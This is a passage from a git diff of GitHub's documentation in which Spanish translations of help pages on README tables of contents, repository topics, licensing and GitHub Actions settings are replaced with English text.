{% data variables.product.product_name %} generará un índice automáticamente con base en los encabezados de sección. Puedes ver el índice de un archivo README si haces clic en el icono de menú {% octicon "list-unordered" aria-label="The unordered list icon" %} en la parte superior izquierda de la página interpretada. +For the rendered view of any Markdown file in a repository, including README files, {% data variables.product.product_name %} will automatically generate a table of contents based on section headings. You can view the table of contents for a README file by clicking the {% octicon "list-unordered" aria-label="The unordered list icon" %} menu icon at the top left of the rendered page. -![README con TOC generado automáticamente](/assets/images/help/repository/readme-automatic-toc.png) - -El índice auto-generado se habilita predeterminadamente para todos los archivos de lenguaje de marcado de un repositorio, pero puedes inhabilitar esta característica en tu repositorio. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Debajo de "Características", anula la selección **Índice**. ![Configuración de TOC automático en los repositorios](/assets/images/help/repository/readme-automatic-toc-setting.png) +![README with automatically generated TOC](/assets/images/help/repository/readme-automatic-toc.png) {% endif %} -## Enlaces de sección en los archivos README y las páginas blob +## Section links in README files and blob pages {% data reusables.repositories.section-links %} -## Enlaces relativos y rutas con imágenes en los archivos README +## Relative links and image paths in README files {% data reusables.repositories.relative-links %} ## Wikis -A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. Para obtener más información, consulta la sección "[Acerca de los wikis](/communities/documenting-your-project-with-wikis/about-wikis)". +A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)." -## Leer más +## Further reading -- "[Agregar un archivo a un repositorio](/articles/adding-a-file-to-a-repository)" -- 18F's "[Hacer que los archivos README sean de lectura](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)" +- "[Adding a file to a repository](/articles/adding-a-file-to-a-repository)" +- 18F's "[Making READMEs readable](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)" diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md index 4fe2b8bcc6..2aa2f07f4f 100644 --- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md +++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md @@ -1,6 +1,6 @@ --- -title: Clasificar tu repositorio con temas -intro: 'Para ayudar a otras personas a buscar y contribuir en tu proyecto, puedes agregar temas a tu repositorio relacionados con el fin previsto de tu proyecto, área temática, grupos de afinidad u otras cualidades importantes.' +title: Classifying your repository with topics +intro: 'To help other people find and contribute to your project, you can add topics to your repository related to your project''s intended purpose, subject area, affinity groups, or other important qualities.' redirect_from: - /articles/about-topics/ - /articles/classifying-your-repository-with-topics @@ -13,28 +13,30 @@ versions: ghec: '*' topics: - Repositories -shortTitle: Clasificar con temas +shortTitle: Classify with topics --- +## About topics -## Acerca de los temas +With topics, you can explore repositories in a particular subject area, find projects to contribute to, and discover new solutions to a specific problem. Topics appear on the main page of a repository. You can click a topic name to {% ifversion fpt or ghec %}see related topics and a list of other repositories classified with that topic{% else %}search for other repositories with that topic{% endif %}. -En el caso de los temas, puedes explorar repositorios en un área temática particular, buscar proyectos a los cuales contribuir y descubrir nuevas soluciones para un problema específico. Los temas aparecen en la página principal de un repositorio. Puedes hacer clic en el nombre de un tema para {% ifversion fpt or ghec %}ver los temas relacionados y una lista de otros repositorios clasificados con ese tema{% else %}buscar otros repositorios con ese tema{% endif %}. +![Main page of the test repository showing topics](/assets/images/help/repository/os-repo-with-topics.png) -![Página principal del repositorio de prueba que muestra temas](/assets/images/help/repository/os-repo-with-topics.png) +To browse the most used topics, go to https://github.com/topics/. -Para explorar los temas más usados, visita https://github.com/topics/. +{% ifversion fpt or ghec %}You can contribute to {% data variables.product.product_name %}'s set of featured topics in the [github/explore](https://github.com/github/explore) repository. {% endif %} -{% ifversion fpt or ghec %}También puedes contribuir al conjunto de temas presentados de {% data variables.product.product_name %} en el repositorio [github/explore](https://github.com/github/explore). {% endif %} +Repository admins can add any topics they'd like to a repository. Helpful topics to classify a repository include the repository's intended purpose, subject area, community, or language.{% ifversion fpt or ghec %} Additionally, {% data variables.product.product_name %} analyzes public repository content and generates suggested topics that repository admins can accept or reject. Private repository content is not analyzed and does not receive topic suggestions.{% endif %} -Los administradores del repositorio pueden agregar los temas que deseen a un repositorio. Entre los temas útiles para clasificar un repositorio se incluyen fines previstos, áreas temáticas, comunidad o idioma.{% ifversion fpt or ghec %}Además, {% data variables.product.product_name %} analiza el contenido de repositorios públicos y genera temas sugeridos que los administradores de los repositorios pueden aceptar o rechazar. El contenido del repositorio privado no se analiza y no recibe sugerencias de tema.{% endif %} +{% ifversion fpt %}Public and private{% elsif ghec or ghes %}Public, private, and internal{% elsif ghae %}Private and internal{% endif %} repositories can have topics, although you will only see private repositories that you have access to in topic search results. -{% ifversion ghae %}Los repositorios internos {% else %}Públicos, internos, {% endif %}y privados pueden tener temas, aunque solo verás los repositorios privados a los cuales tengas acceso en los resultados de búsqueda por tema. +You can search for repositories that are associated with a particular topic. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." You can also search for a list of topics on {% data variables.product.product_name %}. For more information, see "[Searching topics](/search-github/searching-on-github/searching-topics)." -Puedes buscar los repositorios que están asociados con un tema en particular. Para obtener más información, consulta "[Buscar repositorios](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." También puedes buscar un listado de temas en {% data variables.product.product_name %}. Para obtener más información, consulta "[Buscar temas](/search-github/searching-on-github/searching-topics)". - -## Agregar temas a tu repositorio +## Adding topics to your repository {% data reusables.repositories.navigate-to-repo %} -2. A la derecha de "Acerca de", da clic en el {% octicon "gear" aria-label="The Gear icon" %}. ![Icono de engrane en la página principal del repositorio](/assets/images/help/repository/edit-repository-details-gear.png) -3. Debajo de "Temas", teclea el tema que quieras agregar a tu repositorio y después teclea un espacio. ![Formulario para ingresar temas](/assets/images/help/repository/add-topic-form.png) -4. Después de que termines de agregar los temas, da clic en **Guardar cambios**. ![Botón de "Guardar cambios" en "Editar los detalles del repositorio"](/assets/images/help/repository/edit-repository-details-save-changes-button.png) +2. To the right of "About", click {% octicon "gear" aria-label="The Gear icon" %}. + ![Gear icon on main page of a repository](/assets/images/help/repository/edit-repository-details-gear.png) +3. Under "Topics", type the topic you want to add to your repository, then type a space. + ![Form to enter topics](/assets/images/help/repository/add-topic-form.png) +4. After you've finished adding topics, click **Save changes**. + !["Save changes" button in "Edit repository details"](/assets/images/help/repository/edit-repository-details-save-changes-button.png) diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md index 73d6e82790..c719bbebe9 100644 --- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md +++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md @@ -1,6 +1,6 @@ --- -title: Generar licencia para un repositorio -intro: 'Los repositorios públicos de GitHub se suelen utilizar para compartir software de código abierto. Para que tu repositorio sea verdaderamente de código abierto, tendrás que generarle una licencia. De este modo, las demás personas podrán usar, modificar y distribuir el software con libertad.' +title: Licensing a repository +intro: 'Public repositories on GitHub are often used to share open source software. For your repository to truly be open source, you''ll need to license it so that others are free to use, change, and distribute the software.' redirect_from: - /articles/open-source-licensing/ - /articles/licensing-a-repository @@ -13,86 +13,86 @@ versions: topics: - Repositories --- - ## Elegir la licencia correcta +## Choosing the right license -Creamos [choosealicense.com](https://choosealicense.com), para ayudarte a entender cómo generar una licencia para tu código. Una licencia de software les informa a las demás personas lo que pueden y no pueden hacer con tu código fuente; por lo tanto, es importante tomar una decisión informada. +We created [choosealicense.com](https://choosealicense.com), to help you understand how to license your code. A software license tells others what they can and can't do with your source code, so it's important to make an informed decision. -No tienes la obligación de elegir una licencia. Sin embargo, sin una licencia, se aplican las leyes de derecho de autor predeterminadas, lo que implica que conservas todos los derechos de tu código fuente, y nadie puede reproducir, distribuir o crear trabajos a partir de tu trabajo. Si estás creando un proyecto de código abierto, te alentamos fuertemente a que incluyas una licencia de código abierto. La [Guía de código abierto](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project) brinda más orientación para elegir la licencia correcta para tu proyecto. +You're under no obligation to choose a license. However, without a license, the default copyright laws apply, meaning that you retain all rights to your source code and no one may reproduce, distribute, or create derivative works from your work. If you're creating an open source project, we strongly encourage you to include an open source license. The [Open Source Guide](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project) provides additional guidance on choosing the correct license for your project. {% note %} -**Nota:** Si publicas tu código fuente en un repositorio público en {% data variables.product.product_name %}, {% ifversion fpt or ghec %}de acuerdo con las [Condiciones de servicio](/free-pro-team@latest/github/site-policy/github-terms-of-service), {% endif %}otros usuarios de {% data variables.product.product_location %} tiene el derecho de ver y bifurcar tu repositorio. Si ya creaste un repositorio y no quieres que los usuarios tengan acceso a él, puedes hacer este repositorio privado. Cuando cambias la visibilidad de un repositorio a privada, las bifurcaciones existentes o copias locales que crean otros usuarios seguirán existiendo. Para obtener más información, consulta la sección "[Configurar la visibilidad de los repositorios](/github/administering-a-repository/setting-repository-visibility)". +**Note:** If you publish your source code in a public repository on {% data variables.product.product_name %}, {% ifversion fpt or ghec %}according to the [Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service), {% endif %}other users of {% data variables.product.product_location %} have the right to view and fork your repository. If you have already created a repository and no longer want users to have access to the repository, you can make the repository private. When you change the visibility of a repository to private, existing forks or local copies created by other users will still exist. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)." {% endnote %} -## Determinar la ubicación de tu licencia +## Determining the location of your license -La mayoría de las personas colocan el texto de su licencia en un archivo que se llame `LICENSE.txt` (o `LICENSE.md` o `LICENSE.rst`) en la raíz del repositorio; [Aquí tienes un ejemplo de Hubot](https://github.com/github/hubot/blob/master/LICENSE.md). +Most people place their license text in a file named `LICENSE.txt` (or `LICENSE.md` or `LICENSE.rst`) in the root of the repository; [here's an example from Hubot](https://github.com/github/hubot/blob/master/LICENSE.md). -Algunos proyectos incluyen información acerca de sus licencias en sus README. Por ejemplo, el README de un proyecto puede incluir una nota que diga "Este proyecto cuenta con licencia conforme a los términos de la licencia MIT". +Some projects include information about their license in their README. For example, a project's README may include a note saying "This project is licensed under the terms of the MIT license." -Como buena práctica, te alentamos a que incluyas el archivo de licencia en tu proyecto. +As a best practice, we encourage you to include the license file with your project. -## Buscar en GitHub por tipo de licencia +## Searching GitHub by license type -Puedes filtrar repositorios en función de su licencia o familia de licencia usando el calificador de `licencia` y la palabra clave exacta de la licencia: +You can filter repositories based on their license or license family using the `license` qualifier and the exact license keyword: -| Licencia | Palabra clave de la licencia | -| -------- | ------------------------------------------------------------- | -| | Academic Free License v3.0 | `afl-3.0` | -| | Apache license 2.0 | `apache-2.0` | -| | Artistic license 2.0 | `artistic-2.0` | -| | Boost Software License 1.0 | `bsl-1.0` | -| | BSD 2-clause "Simplified" license | `bsd-2-clause` | -| | BSD 3-clause "New" or "Revised" license | `bsd-3-clause` | -| | BSD 3-clause Clear license | `bsd-3-clause-clear` | -| | Creative Commons license family | `cc` | -| | Creative Commons Zero v1.0 Universal | `cc0-1.0` | -| | Creative Commons Attribution 4.0 | `cc-by-4.0` | -| | Creative Commons Attribution Share Alike 4.0 | `cc-by-sa-4.0` | -| | Do What The F*ck You Want To Public License | `wtfpl` | -| | Educational Community License v2.0 | `ecl-2.0` | -| | Eclipse Public License 1.0 | `epl-1.0` | -| | Eclipse Public License 2.0 | `epl-2.0` | -| | European Union Public License 1.1 | `eupl-1.1` | -| | GNU Affero General Public License v3.0 | `agpl-3.0` | -| | GNU General Public License family | `gpl` | -| | GNU General Public License v2.0 | `gpl-2.0` | -| | GNU General Public License v3.0 | `gpl-3.0` | -| | GNU Lesser General Public License family | `lgpl` | -| | GNU Lesser General Public License v2.1 | `lgpl-2.1` | -| | GNU Lesser General Public License v3.0 | `lgpl-3.0` | -| | ISC | `isc` | -| | LaTeX Project Public License v1.3c | `lppl-1.3c` | -| | Microsoft Public License | `ms-pl` | -| | MIT | `mit` | -| | Mozilla Public License 2.0 | `mpl-2.0` | -| | Open Software License 3.0 | `osl-3.0` | -| | PostgreSQL License | `postgresql` | -| | SIL Open Font License 1.1 | `ofl-1.1` | -| | University of Illinois/NCSA Open Source License | `ncsa` | -| | The Unlicense | `unlicense` | -| | zLib License | `zlib` | +License | License keyword +--- | --- +| Academic Free License v3.0 | `afl-3.0` | +| Apache license 2.0 | `apache-2.0` | +| Artistic license 2.0 | `artistic-2.0` | +| Boost Software License 1.0 | `bsl-1.0` | +| BSD 2-clause "Simplified" license | `bsd-2-clause` | +| BSD 3-clause "New" or "Revised" license | `bsd-3-clause` | +| BSD 3-clause Clear license | `bsd-3-clause-clear` | +| Creative Commons license family | `cc` | +| Creative Commons Zero v1.0 Universal | `cc0-1.0` | +| Creative Commons Attribution 4.0 | `cc-by-4.0` | +| Creative Commons Attribution Share Alike 4.0 | `cc-by-sa-4.0` | +| Do What The F*ck You Want To Public License | `wtfpl` | +| Educational Community License v2.0 | `ecl-2.0` | +| Eclipse Public License 1.0 | `epl-1.0` | +| Eclipse Public License 2.0 | `epl-2.0` | +| European Union Public License 1.1 | `eupl-1.1` | +| GNU Affero General Public License v3.0 | `agpl-3.0` | +| GNU General Public License family | `gpl` | +| GNU General Public License v2.0 | `gpl-2.0` | +| GNU General Public License v3.0 | `gpl-3.0` | +| GNU Lesser General Public License family | `lgpl` | +| GNU Lesser General Public License v2.1 | `lgpl-2.1` | +| GNU Lesser General Public License v3.0 | `lgpl-3.0` | +| ISC | `isc` | +| LaTeX Project Public License v1.3c | `lppl-1.3c` | +| Microsoft Public License | `ms-pl` | +| MIT | `mit` | +| Mozilla Public License 2.0 | `mpl-2.0` | +| Open Software License 3.0 | `osl-3.0` | +| PostgreSQL License | `postgresql` | +| SIL Open Font License 1.1 | `ofl-1.1` | +| University of Illinois/NCSA Open Source License | `ncsa` | +| The Unlicense | `unlicense` | +| zLib License | `zlib` | -Cuando busques por una licencia de familia, los resultados incluirán todas las licencias de esa familia. Por ejemplo, cuando utilices la consulta `license:gpl`, los resultados incluirán los repositorios con licencia de GNU General Public License v2.0 y GNU General Public License v3.0. Para obtener más información, consulta "[Buscar repositorios](/search-github/searching-on-github/searching-for-repositories/#search-by-license)." +When you search by a family license, your results will include all licenses in that family. For example, when you use the query `license:gpl`, your results will include repositories licensed under GNU General Public License v2.0 and GNU General Public License v3.0. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-by-license)." -## Detectar una licencia +## Detecting a license -[El titular de licencia de la gema de código abierto Ruby](https://github.com/licensee/licensee) compara el archivo *LICENSE* (LICENCIA) del repositorio con una lista corta de licencias conocidas. El titular de licencia también proporciona las [API de licencias](/rest/reference/licenses) y [nos da información sobre las licencias que tienen los repositorios de {% data variables.product.product_name %}](https://github.com/blog/1964-open-source-license-usage-on-github-com). Si tu repositorio utiliza una licencia que no está detallada en el [Sitio web Choose a License](https://choosealicense.com/appendix/), puedes[solicitar incluir la licencia](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license). +[The open source Ruby gem Licensee](https://github.com/licensee/licensee) compares the repository's *LICENSE* file to a short list of known licenses. Licensee also provides the [Licenses API](/rest/reference/licenses) and [gives us insight into how repositories on {% data variables.product.product_name %} are licensed](https://github.com/blog/1964-open-source-license-usage-on-github-com). If your repository is using a license that isn't listed on the [Choose a License website](https://choosealicense.com/appendix/), you can [request including the license](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license). -Si tu repositorio utiliza una licencia que está detallada en el sitio web Choose a License y no se muestra claramente en la parte superior de la página del repositorio, puede que contenga múltiples licencias u otra complejidad. Para que se detecten tus licencias, simplifica tu archivo *LICENSE* y anota la complejidad en algún otro lado, como en el archivo *README* de tu repositorio. +If your repository is using a license that is listed on the Choose a License website and it's not displaying clearly at the top of the repository page, it may contain multiple licenses or other complexity. To have your license detected, simplify your *LICENSE* file and note the complexity somewhere else, such as your repository's *README* file. -## Aplicar una licencia a un repositorio con una licencia existente +## Applying a license to a repository with an existing license -El selector de licencias solo está disponible cuando creas un proyecto nuevo en GitHub. Puedes agregar manualmente una licencia utilizando el buscador. Para obtener más información acerca de agregar una licencia a un repositorio, consulta "[Agregar una licencia a un repositorio](/articles/adding-a-license-to-a-repository)." +The license picker is only available when you create a new project on GitHub. You can manually add a license using the browser. For more information on adding a license to a repository, see "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)." -![Captura de pantalla del selector de licencias en GitHub.com](/assets/images/help/repository/repository-license-picker.png) +![Screenshot of license picker on GitHub.com](/assets/images/help/repository/repository-license-picker.png) -## Descargo +## Disclaimer -El objetivo de los esfuerzos de generación de licencias de código abierto de GitHub es proporcionar un punto de partida para ayudarte a hacer una elección informada. GitHub muestra información de licencias para ayudar a los usuarios a obtener información acerca de las licencias de código abierto y los proyectos que las utilizan. Esperamos que te sea útil, pero ten presente que no somos abogados y que cometemos errores como todo el mundo. For that reason, GitHub provides the information on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the license information. Si tienes alguna pregunta al respecto de la licencia correcta para tu código o cualquier otro problema legal relacionado con esto, siempre es mejor consultar con un profesional. +The goal of GitHub's open source licensing efforts is to provide a starting point to help you make an informed choice. GitHub displays license information to help users get information about open source licenses and the projects that use them. We hope it helps, but please keep in mind that we’re not lawyers and that we make mistakes like everyone else. For that reason, GitHub provides the information on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the license information. If you have any questions regarding the right license for your code or any other legal issues relating to it, it’s always best to consult with a professional. -## Leer más +## Further reading -- La sección de Guías de código abierto "[La parte legal del código abierto](https://opensource.guide/legal/)"{% ifversion fpt or ghec %} +- The Open Source Guides' section "[The Legal Side of Open Source](https://opensource.guide/legal/)"{% ifversion fpt or ghec %} - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %} diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md index 6d3b76746a..cb0ef50a07 100644 --- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md +++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md @@ -1,6 +1,6 @@ --- -title: Administrar los ajustes de las GitHub Actions de un repositorio -intro: 'Puedes inhabilitar o configurar las {% data variables.product.prodname_actions %} en un repositorio específico.' +title: Managing GitHub Actions settings for a repository +intro: 'You can disable or configure {% data variables.product.prodname_actions %} for a specific repository.' redirect_from: - /github/administering-a-repository/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository - /github/administering-a-repository/managing-repository-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository @@ -16,59 +16,60 @@ topics: - Actions - Permissions - Pull requests -shortTitle: Administrar los ajustes de las GitHub Actions +shortTitle: Manage GitHub Actions settings --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## Acerca de los permisos de {% data variables.product.prodname_actions %} para tu repositorio +## About {% data variables.product.prodname_actions %} permissions for your repository -{% data reusables.github-actions.disabling-github-actions %}Para obtener más información acerca de {% data variables.product.prodname_actions %}, consulta la sección "[Acerca de {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)". +{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)." -Puedes habilitar {% data variables.product.prodname_actions %} para tu repositorio. {% data reusables.github-actions.enabled-actions-description %} Puedes inhabilitar {% data variables.product.prodname_actions %} totalmente para tu repositorio. {% data reusables.github-actions.disabled-actions-description %} +You can enable {% data variables.product.prodname_actions %} for your repository. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for your repository altogether. {% data reusables.github-actions.disabled-actions-description %} -De manera alterna, puedes habilitar {% data variables.product.prodname_actions %} en tu repositorio, pero limitar las acciones que un flujo de trabajo puede ejecutar. {% data reusables.github-actions.enabled-local-github-actions %} +Alternatively, you can enable {% data variables.product.prodname_actions %} in your repository but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %} -## Administrar los permisos de {% data variables.product.prodname_actions %} para tu repositorio +## Managing {% data variables.product.prodname_actions %} permissions for your repository -Puedes inhabilitar todos los flujos de trabajo para un repositorio o configurar una política que configure qué acciones pueden utilzarse en éste. +You can disable all workflows for a repository or set a policy that configures which actions can be used in a repository. {% data reusables.actions.actions-use-policy-settings %} {% note %} -**Nota:** Tal vez no pueds administrar estas configuraciones si tu organización tiene una política de anulación o si la administra una cuenta empresarial que tiene dicha configuración. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." +**Note:** You might not be able to manage these settings if your organization has an overriding policy or is managed by an enterprise that has overriding policy. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." {% endnote %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions %} -1. Debajo de **Permisos de las acciones**, selecciona una opción. ![Configurar la política de acciones para esta organización](/assets/images/help/repository/actions-policy.png) -1. Haz clic en **Save ** (guardar). +1. Under **Actions permissions**, select an option. + ![Set actions policy for this organization](/assets/images/help/repository/actions-policy.png) +1. Click **Save**. -## Permitir que se ejecuten acciones específicas +## Allowing specific actions to run {% data reusables.actions.allow-specific-actions-intro %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions %} -1. Debajo de **Permisos de las acciones**, selecciona **Permitir acciones seleccionadas** y agrega tus acciones requeridas a la lista. - {%- ifversion ghes %} - ![Agregar acciones a la lista de permitidos](/assets/images/help/repository/actions-policy-allow-list.png) +1. Under **Actions permissions**, select **Allow select actions** and add your required actions to the list. + {%- ifversion ghes > 3.0 %} + ![Add actions to allow list](/assets/images/help/repository/actions-policy-allow-list.png) {%- else %} - ![Agregar acciones a la lista de permitidos](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png) + ![Add actions to allow list](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png) {%- endif %} -2. Haz clic en **Save ** (guardar). +2. Click **Save**. {% ifversion fpt or ghec %} -## Configurar las aprobaciones requeridas para los flujos de trabajo desde las bifurcaciones pùblicas +## Configuring required approval for workflows from public forks {% data reusables.actions.workflow-run-approve-public-fork %} -You can configure this behavior for a repository using the procedure below. El modificar este ajuste anula la configuración que se haya hecho a nviel organizacional o empresarial. +You can configure this behavior for a repository using the procedure below. Modifying this setting overrides the configuration set at the organization or enterprise level. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} @@ -78,11 +79,11 @@ You can configure this behavior for a repository using the procedure below. El m {% data reusables.actions.workflow-run-approve-link %} {% endif %} -## Habilitar flujos de trabajo para las bifurcaciones de repositorios privados +## Enabling workflows for private repository forks {% data reusables.github-actions.private-repository-forks-overview %} -### Configurar la política de bifurcaciones privadas para un repositorio +### Configuring the private fork policy for a repository {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} @@ -90,55 +91,51 @@ You can configure this behavior for a repository using the procedure below. El m {% data reusables.github-actions.private-repository-forks-configure %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## Configurar los permisos del `GITHUB_TOKEN` para tu repositorio +## Setting the permissions of the `GITHUB_TOKEN` for your repository {% data reusables.github-actions.workflow-permissions-intro %} -También pueden configurarse los permisos predeterminados en los ajustes de la organización. Si el predeterminado más restringido se seleccionó en la configuración de la organización, la misma opción se autoselecciona en tu configuración de repositorio y la opción permisiva se inhabilita. +The default permissions can also be configured in the organization settings. If the more restricted default has been selected in the organization settings, the same option is auto-selected in your repository settings and the permissive option is disabled. {% data reusables.github-actions.workflow-permissions-modifying %} -### Configurar los permisos predeterminados del `GITHUB_TOKEN` +### Configuring the default `GITHUB_TOKEN` permissions {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions %} -1. Debajo de **Permisos del flujo de trabajo**, elige si quieres que el `GITHUB_TOKEN` tenga permisos de lectura y escritura para todos los alcances o solo acceso de lectura para el alcance `contents`. ![Configurar los permisos del GITHUB_TOKEN para este repositorio](/assets/images/help/settings/actions-workflow-permissions-repository.png) -1. Da clic en **Guardar** para aplicar la configuración. +1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. + ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository.png) +1. Click **Save** to apply the settings. {% endif %} -{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} -## Permitir el acceso a los componentes en un repositorio interno +{% ifversion ghes > 3.3 or ghae-issue-4757 or ghec %} +## Allowing access to components in an internal repository -{% note %} +Members of your enterprise can use internal repositories to work on projects without sharing information publicly. For information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories)." -**Nota:** {% data reusables.gated-features.internal-repos %} +To configure whether workflows in an internal repository can be accessed from outside the repository: -{% endnote %} - -Los miembros de tu empresa pueden utilizar repositorios internos para trabajar en proyectos sin compartir información públicamente. Para obtener más información, consulta la sección "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories)". - -Para configurar si se puede acceder desde un repositorio externo a los flujos de trabajo de un repositorio interno: - -1. En {% data variables.product.prodname_dotcom %}, navega hasta la página principal del repositorio interno. -1. Debajo de tu nombre de repositorio, haz clic en {% octicon "gear" aria-label="The gear icon" %}**Configuración**. +1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the internal repository. +1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**. {% data reusables.repositories.settings-sidebar-actions %} -1. Debajo de **Acceso**, elige uno de los ajustes de acceso: ![Configurar el acceso a los componentes de las acciones](/assets/images/help/settings/actions-access-settings.png) - * **No accesible** - Los flujos de trabajo en otros repositorios no pueden utilizar flujos de trabajo en este repositorio. - * **Accesible mediante cualquier repositorio en la organización** - Los flujos de trabajo en otros repositorios pueden utilizar flujos de trabajo en este repositorio siempre y cuando sean parte de la misma organización. - * **Accesible mediante cualquier repositorio de la empresa** - Los flujos de trabajo de otros repositorios pueden utilizar a los de este, siempre y cuando sean parte de la misma empresa. -1. Da clic en **Guardar** para aplicar la configuración. +1. Under **Access**, choose one of the access settings: + ![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png) + * **Not accessible** - Workflows in other repositories can't use workflows in this repository. + * **Accessible from repositories in the '<organization name>' organization** - Workflows in other repositories can use workflows in this repository if they are part of the same organization and their visibility is private or internal. + * **Accessible from repositories in the '<enterprise name>' enterprise** - Workflows in other repositories can use workflows in this repository if they are part of the same enterprise and their visibility is private or internal. +1. Click **Save** to apply the settings. {% endif %} -## Configurar el periodo de retención de los artefactos y bitácoras de las {% data variables.product.prodname_actions %} en tu repositorio +## Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository -Puedes configurar el periodo de retenciòn para los artefactos de las {% data variables.product.prodname_actions %} y las bitàcoras en tu repositorio. +You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository. {% data reusables.actions.about-artifact-log-retention %} -Tambièn puedes definir un periodo de retenciòn personalizado para un artefacto especìfico que haya creado un flujo de trabajo. Para obtener màs informaciòn consulta la secciòn "[Configurar el periodo de retenciòn para un artefacto](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)". +You can also define a custom retention period for a specific artifact created by a workflow. For more information, see "[Setting the retention period for an artifact](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)." -## Configurar el periodo de retenciòn para un repositorio +## Setting the retention period for a repository {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md index 42cae706e4..43442fd026 100644 --- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md +++ 